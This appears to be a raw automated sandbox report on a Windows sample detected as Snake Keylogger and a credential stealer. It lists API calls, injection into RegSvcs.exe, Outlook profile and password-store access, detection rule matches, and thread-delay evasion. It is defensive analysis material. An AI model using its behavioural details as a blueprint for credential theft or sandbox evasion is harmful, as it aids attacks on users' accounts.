Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EB750	5_2_053EB750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EC658	5_2_053EC658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EE158	5_2_053EE158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053E001A	5_2_053E001A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EC001	5_2_053EC001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053E0040	5_2_053E0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EB308	5_2_053EB308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053E6393	5_2_053E6393
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EB2F9	5_2_053EB2F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EDD10	5_2_053EDD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EDD00	5_2_053EDD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053E2CE1	5_2_053E2CE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053E6FF0	5_2_053E6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EEE60	5_2_053EEE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EAEB0	5_2_053EAEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EAEA1	5_2_053EAEA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053E787E	5_2_053E787E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053E6868	5_2_053E6868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053E6858	5_2_053E6858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053ED8B8	5_2_053ED8B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053ED8A8	5_2_053ED8A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EBBB8	5_2_053EBBB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EBBA8	5_2_053EBBA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EEA18	5_2_053EEA18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EEA09	5_2_053EEA09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EAA58	5_2_053EAA58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EAA49	5_2_053EAA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_0623C7B0	5_2_0623C7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_06234340	5_2_06234340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_06235E18	5_2_06235E18

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: String function: 00097DE1 appears 35 times
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: String function: 000B0AE3 appears 70 times
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: String function: 000B8900 appears 42 times

Source: 2NJzy3tiny.exe, 00000002.00000003.1318865459.00000000041DD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 2NJzy3tiny.exe
Source: 2NJzy3tiny.exe, 00000002.00000003.1317062469.0000000004033000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 2NJzy3tiny.exe
Source: 2NJzy3tiny.exe, 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs 2NJzy3tiny.exe

Source: 2NJzy3tiny.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.2NJzy3tiny.exe.15e0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.2NJzy3tiny.exe.15e0000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: 2NJzy3tiny.exe PID: 1240, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 7280, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@3/3

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000FA06A GetLastError,FormatMessageW,

2_2_000FA06A

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000E81CB AdjustTokenPrivileges,CloseHandle,		2_2_000E81CB
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000E87E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		2_2_000E87E1

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000FB333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

2_2_000FB333

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_0010EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

2_2_0010EE0D

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000FC397 CoInitialize,CoCreateInstance,CoUninitialize,

2_2_000FC397

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_00094E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

2_2_00094E89

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

File created: C:\Users\user~1\AppData\Local\Temp\aut801A.tmp

Jump to behavior

Source: 2NJzy3tiny.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 00000005.00000002.2544057819.00000000029F5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2544057819.00000000029B6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2544740511.00000000038FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2544057819.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2544057819.00000000029E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2544057819.00000000029C5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 2NJzy3tiny.exe	ReversingLabs: Detection: 71%
Source: 2NJzy3tiny.exe	Virustotal: Detection: 52%

Source: unknown	Process created: C:\Users\user\Desktop\2NJzy3tiny.exe "C:\Users\user\Desktop\2NJzy3tiny.exe"
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\2NJzy3tiny.exe"
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\2NJzy3tiny.exe"	Jump to behavior

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 2NJzy3tiny.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 2NJzy3tiny.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 2NJzy3tiny.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 2NJzy3tiny.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 2NJzy3tiny.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 2NJzy3tiny.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 2NJzy3tiny.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: 2NJzy3tiny.exe, 00000002.00000003.1318024301.0000000003F10000.00000004.00001000.00020000.00000000.sdmp, 2NJzy3tiny.exe, 00000002.00000003.1318172333.00000000040B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 2NJzy3tiny.exe, 00000002.00000003.1318024301.0000000003F10000.00000004.00001000.00020000.00000000.sdmp, 2NJzy3tiny.exe, 00000002.00000003.1318172333.00000000040B0000.00000004.00001000.00020000.00000000.sdmp

Source: 2NJzy3tiny.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 2NJzy3tiny.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 2NJzy3tiny.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 2NJzy3tiny.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 2NJzy3tiny.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_00094B37 LoadLibraryA,GetProcAddress,

2_2_00094B37

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000B8945 push ecx; ret	2_2_000B8958
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_00B578E6 pushad ; iretd	5_2_00B578E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_00B57BF7 pushfd ; iretd	5_2_00B57BF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_00B57DA7 push esp; iretd	5_2_00B57DA8

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000948D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		2_2_000948D7
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_00115376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		2_2_00115376

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000B3187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_000B3187

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

API/Special instruction interceptor: Address: 1875E94

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599269	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599030	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597829	Jump to behavior
